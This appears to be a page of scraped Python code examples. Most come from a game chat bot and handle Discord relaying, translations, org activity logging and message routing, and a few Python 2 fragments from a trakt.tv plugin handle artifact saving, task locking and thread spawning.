    def update_discord_channel(self, setting_name, old_value, new_value):
        if self.client:
            if not self.client.set_channel_id(new_value):
                self.logger.warning(
                    f"Could not find discord channel '{new_value}'")

    def update_discord_state(self, setting_name, old_value, new_value):
        if setting_name == "discord_enabled":
            event_handlers = [
                self.handle_connect_event, self.handle_discord_queue_event,
                self.handle_discord_invite_event
            ]
            for handler in event_handlers:
                event_handler = self.util.get_handler_name(handler)
                event_base_type, event_sub_type = self.event_service.get_event_type_parts(
                    handler.event.event_type)
                self.event_service.update_event_status(event_base_type,
                                                       event_sub_type,
                                                       event_handler,
                                                       1 if new_value else 0)

            if not new_value:
                self.disconnect_discord_client()
Example #41
0
class TranslationService:
    strings = {}
    translation_callbacks = {}
    language = None
    lang_codes = ["en_US", "de_DE"]
    LANGUAGE_SETTING = "language"

    def __init__(self):
        self.logger = Logger(__name__)

    def inject(self, registry):
        self.setting_service: SettingService = registry.get_instance(
            "setting_service")
        self.event_service: EventService = registry.get_instance(
            "event_service")
        self.util: Util = registry.get_instance("util")
        self.bot: Tyrbot = registry.get_instance("bot")

    def pre_start(self):
        self.event_service.register_event_type("reload_translation")

    def start(self):
        self.setting_service.register("core.system",
                                      self.LANGUAGE_SETTING, "en_US",
                                      TextSettingType(self.lang_codes),
                                      "Language of the Bot")

        self.language = self.setting_service.get_value(self.LANGUAGE_SETTING)
        self.register_translation("global", self.load_global_msg)
        self.setting_service.register_change_listener(
            self.LANGUAGE_SETTING, self.language_setting_changed)

    def register_translation(self, category, callback):
        """
        Call during start

        Args:
            category: str
            callback: () -> {}
        """

        if len(inspect.signature(callback).parameters) != 0:
            raise Exception(
                "Incorrect number of arguments for handler '%s.%s()'" %
                (callback.__module__, callback.__name__))

        if self.translation_callbacks.get(category) is None:
            self.translation_callbacks[category] = []
        self.translation_callbacks[category].append(callback)
        self.update_msg(category, callback)

    def load_global_msg(self):
        with open("core/global.msg", mode="r", encoding="UTF-8") as f:
            return hjson.load(f)

    def language_setting_changed(self, name, old_value, new_value):
        if name == self.LANGUAGE_SETTING and new_value != old_value:
            self.reload_translation(new_value)

    # This method will load another language, defined in the param 'lang'
    def reload_translation(self, lang):
        self.event_service.fire_event("reload_translation")
        self.language = lang
        for k1 in self.strings:
            for callback in self.translation_callbacks.get(k1):
                self.update_msg(k1, callback)

    #updates the msgs
    def update_msg(self, category, callback):
        data = callback()
        for k in data:
            if not category in self.strings:
                self.strings[category] = {}
            self.strings[category][k] = data[k].get(
                self.language) or data[k].get("en_US")

    #
    # the param 'variables' accepts dictionaries ONLY.
    #
    def get_response(self, category, key, variables={}):
        msg = ""
        try:
            val = self.strings[category][key]
            if isinstance(val, list):
                for line in val:
                    msg += line.format(**variables)
            else:
                msg = val.format(**variables)
        except KeyError as e:
            self.logger.error(
                f"translating error category '{category}' and key '{key}' with params: {variables}",
                e)
            msg = "Error translating category: <highlight>{mod}</highlight> key: <highlight>{key}</highlight>" \
                  " with params: <highlight>{params}</highlight>".format(mod=category, key=key, params=variables)
        finally:
            return msg
Example #42
0
class OrgActivityController:
    def __init__(self):
        self.logger = Logger(__name__)

    def inject(self, registry):
        self.db = registry.get_instance("db")
        self.util = registry.get_instance("util")
        self.character_service = registry.get_instance("character_service")
        self.command_alias_service = registry.get_instance(
            "command_alias_service")

    def start(self):
        self.db.exec(
            "CREATE TABLE IF NOT EXISTS org_activity (id INT PRIMARY KEY AUTO_INCREMENT, actor_char_id INT NOT NULL, actee_char_id INT NOT NULL, "
            "action VARCHAR(20) NOT NULL, created_at INT NOT NULL)")

        self.command_alias_service.add_alias("orghistory", "orgactivity")

    @command(command="orgactivity",
             params=[],
             access_level="org_member",
             description="Show org member activity")
    def orgactivity_cmd(self, request):
        sql = """
            SELECT
                p1.name AS actor,
                p2.name AS actee, o.action,
                o.created_at
            FROM
                org_activity o
                LEFT JOIN player p1 ON o.actor_char_id = p1.char_id
                LEFT JOIN player p2 ON o.actee_char_id = p2.char_id
            ORDER BY
                o.created_at DESC
            LIMIT 40
        """
        data = self.db.query(sql)
        blob = ""
        for row in data:
            blob += self.format_org_action(row) + "\n"

        return ChatBlob("Org Activity", blob)

    @event(PublicChannelService.ORG_MSG_EVENT,
           "Record org member activity",
           is_hidden=True)
    def org_msg_event(self, event_type, event_data):
        ext_msg = event_data.extended_message
        if [ext_msg.category_id,
                ext_msg.instance_id] == OrgMemberController.LEFT_ORG:
            self.save_activity(ext_msg.params[0], ext_msg.params[0], "left")
        elif [ext_msg.category_id,
              ext_msg.instance_id] == OrgMemberController.KICKED_FROM_ORG:
            self.save_activity(ext_msg.params[0], ext_msg.params[1], "kicked")
        elif [ext_msg.category_id,
              ext_msg.instance_id] == OrgMemberController.INVITED_TO_ORG:
            self.save_activity(ext_msg.params[0], ext_msg.params[1], "invited")
        elif [ext_msg.category_id, ext_msg.instance_id
              ] == OrgMemberController.KICKED_INACTIVE_FROM_ORG:
            self.save_activity(ext_msg.params[0], ext_msg.params[1], "removed")
        elif [ext_msg.category_id, ext_msg.instance_id
              ] == OrgMemberController.KICKED_ALIGNMENT_CHANGED:
            self.save_activity(ext_msg.params[0], ext_msg.params[0],
                               "alignment changed")

    def save_activity(self, actor, actee, action):
        actor_id = self.character_service.resolve_char_to_id(actor)
        actee_id = self.character_service.resolve_char_to_id(
            actee) if actee else 0

        if not actor_id:
            self.logger.error("Could not get char_id for actor '%s'" % actor)

        if not actee_id:
            self.logger.error("Could not get char_id for actee '%s'" % actee)

        t = int(time.time())
        self.db.exec(
            "INSERT INTO org_activity (actor_char_id, actee_char_id, action, created_at) VALUES (?, ?, ?, ?)",
            [actor_id, actee_id, action, t])

    def format_org_action(self, row):
        if row.action == "left" or row.action == "alignment changed":
            return "<highlight>%s</highlight> %s. %s" % (
                row.actor, row.action, self.util.format_datetime(
                    row.created_at))
        else:
            return "<highlight>%s</highlight> %s <highlight>%s</highlight>. %s" % (
                row.actor, row.action, row.actee,
                self.util.format_datetime(row.created_at))
Example #43
0
class MessageHubService:
    def __init__(self):
        self.logger = Logger(__name__)
        self.hub = {}
        self.sources = []

    def inject(self, registry):
        self.bot = registry.get_instance("bot")
        self.setting_service = registry.get_instance("setting_service")
        self.character_service: CharacterService = registry.get_instance("character_service")
        self.text: Text = registry.get_instance("text")
        self.db = registry.get_instance("db")

    def start(self):
        self.db.exec("CREATE TABLE IF NOT EXISTS message_hub_subscriptions ( "
                     "destination VARCHAR(50) NOT NULL,"
                     "source VARCHAR(50) NOT NULL"
                     ")")

    def register_message_source(self, source):
        """Call during pre_start"""
        if source not in self.sources:
            self.sources.append(source)

    def register_message_destination(self, destination, callback, default_sources, invalid_sources=[]):
        """
        Call during start

        Args:
            destination: str
            callback: (ctx) -> void
            default_sources: [str...]
            invalid_sources: [str...]
        """

        if len(inspect.signature(callback).parameters) != 1:
            raise Exception("Incorrect number of arguments for handler '%s.%s()'" % (callback.__module__, callback.__name__))

        if destination in self.hub:
            raise Exception("Message hub destination '%s' already subscribed" % destination)

        for source in default_sources:
            if source not in self.sources:
                self.logger.warning("Could not subscribe destination '%s' to source '%s' because source does not exist" % (destination, source))
                # raise Exception("Could not subscribe destination '%s' to source '%s' because source does not exist" % (destination, source))

        self.hub[destination] = (DictObject({"name": destination,
                                             "callback": callback,
                                             "sources": default_sources,
                                             "invalid_sources": invalid_sources}))

        self.reload_mapping(destination)

    def reload_mapping(self, destination):
        data = self.db.query("SELECT source FROM message_hub_subscriptions WHERE destination = ?", [destination])
        if data:
            self.hub[destination].sources =  list(map(lambda x: x.source, data))

    def send_message(self, source, sender, channel_prefix, message):
        ctx = MessageHubContext(source, sender, channel_prefix, message, self.get_formatted_message(channel_prefix, sender, message))

        for _, c in self.hub.items():
            if source in c.sources:
                try:
                    c.callback(ctx)
                except Exception as e:
                    self.logger.error("", e)

    def subscribe_to_source(self, destination, source):
        if source not in self.sources:
            raise Exception("Message hub source '%s' doeselecs not exist" % source)

        obj = self.hub.get(destination, None)
        if not obj:
            raise Exception("Message hub destination '%s' does not exist" % destination)

        if source not in obj.sources:
            self.db.exec("DELETE FROM message_hub_subscriptions WHERE destination = ?", [destination])

            obj.sources.append(source)
            for source in obj.sources:
                self.db.exec("INSERT INTO message_hub_subscriptions (destination, source)"
                             "VALUES (?, ?)", [destination, source])

    def unsubscribe_from_source(self, destination, source):
        # if source not in self.sources:
        #    raise Exception("Message hub source '%s' does not exist" % source)

        obj = self.hub.get(destination, None)
        if not obj:
            raise Exception("Message hub destination '%s' does not exist" % destination)

        if source in obj.sources:
            self.db.exec("DELETE FROM message_hub_subscriptions WHERE destination = ?", [destination])

            obj.sources.remove(source)
            for source in obj.sources:
                self.db.exec("INSERT INTO message_hub_subscriptions (destination, source)"
                             "VALUES (?, ?)", [destination, source])

    def get_formatted_message(self, channel_prefix, sender, message):
        formatted_message = ""
        if channel_prefix:
            formatted_message += f"{channel_prefix} "
        if sender:
            char_name = self.text.make_charlink(sender.name)
            formatted_message += f"{char_name}: "
        # TODO pagination should not happen until destination channel is known
        if isinstance(message, ChatBlob):
            message = self.text.paginate_single(message, self.bot.get_primary_conn())
        formatted_message += message
        return formatted_message
Example #44
0
class DiscordWrapper(discord.Client):
    def __init__(self, channel_name, dqueue, aoqueue):
        super().__init__(intents=discord.Intents(guilds=True,
                                                 invites=True,
                                                 guild_messages=True,
                                                 dm_messages=True,
                                                 members=True))
        asyncio.set_event_loop(asyncio.new_event_loop())
        self.logger = Logger(__name__)
        self.dqueue = dqueue
        self.aoqueue = aoqueue
        self.channel_name = channel_name
        self.default_channel = None

    async def logout_with_message(self, msg):
        if self.default_channel:
            await self.default_channel.send(msg)
        await super().logout()

    async def on_ready(self):
        self.set_channel_name(self.channel_name)
        self.dqueue.append(("discord_ready", "ready"))

    async def on_message(self, message):
        if not message.author.bot and (
                self.default_channel
                and message.channel.id == self.default_channel.id
                or message.channel.type == ChannelType.private):
            self.dqueue.append(("discord_message", message))

    async def relay_message(self):
        await self.wait_until_ready()
        while not self.is_closed():
            if self.aoqueue:
                dtype, message = self.aoqueue.pop(0)

                try:
                    if dtype == "get_invite":
                        name = message[0]
                        server = message[1]
                        # TODO handle insufficient permissions
                        invites = await self.get_guild(server.id).invites()
                        self.dqueue.append(
                            ("discord_invites", (name, invites)))

                    else:
                        content = message.get_message()
                        channel = message.channel or self.default_channel

                        if channel:
                            if message.get_type() == "embed":
                                await channel.send(embed=content)
                            else:
                                await channel.send(content)
                except Exception as e:
                    self.logger.error(
                        "Exception raised during Discord event (%s, %s)" %
                        (str(dtype), str(message)), e)

            await asyncio.sleep(0.1)

    def set_channel_name(self, channel_name):
        self.channel_name = channel_name
        for channel in self.get_text_channels():
            if channel.name == channel_name:
                self.default_channel = channel
                return True
        return False

    def get_text_channels(self):
        return list(
            filter(lambda x: x.type is ChannelType.text,
                   self.get_all_channels()))
    # TODO switch to a streamed format (to avoid the MemoryError)
    def save(self, group, data, source=None):
        name = '%s.%s' % (group, self.key)

        if source:
            name += '.%s' % source

        # Build `directory`
        directory = os.path.join(Environment.path.plugin_data, 'Artifacts')

        # Ensure `directory` exists
        try:
            os.makedirs(directory)
        except Exception, ex:
            # Directory already exists
            pass

        # Build `path`
        path = os.path.join(directory, '%s.json' % name)

        try:
            log.debug('Saving artifacts to %r', path)

            # Dump `data` to file as JSON
            json_write(path, ArtifactTransformer(data), cls=ArtifactEncoder)

        except MemoryError, ex:
            log.error('Unable to save artifacts: %s', ex, exc_info=True)
        except OSError, ex:
            log.error('Unable to save artifacts: %s', ex, exc_info=True)
Example #46
0
        # Wait for lock
        self.lock.acquire()

        # Ensure task hasn't already been started
        if self.started:
            self.lock.release()
            return

        self.started = True

        try:
            # Call task
            self.result = self.target(*self.args, **self.kwargs)
        except CancelException, e:
            self.exception = sys.exc_info()

            log.debug('Task cancelled')
        except trakt.RequestError, e:
            self.exception = sys.exc_info()

            log.warn('trakt.tv request failed: %s', e)
        except Exception, ex:
            self.exception = sys.exc_info()

            log.error('Exception raised in triggered function %r: %s', self.name, ex, exc_info=True)
        finally:
            # Release lock
            self.complete = True
            self.lock.release()

Example #47
0
    def wrapper(thread_name, args, kwargs):
        try:
            func(*args, **kwargs)
        except Exception, ex:
            log.error('Thread "%s" raised an exception: %s', thread_name, ex, exc_info=True)

    th = threading.Thread(target=wrapper, name=thread_name, args=(thread_name, args, kwargs))

    try:
        th.start()
        log.debug("Spawned thread with name '%s'" % thread_name)
    except thread.error, ex:
        log.error('Unable to spawn thread: %s', ex, exc_info=True, extra={
            'data': {
                'active_count': threading.active_count()
            }
        })
        return None

    return th


def schedule(func, seconds, *args, **kwargs):
    def schedule_sleep():
        time.sleep(seconds)
        func(*args, **kwargs)

    spawn(schedule_sleep)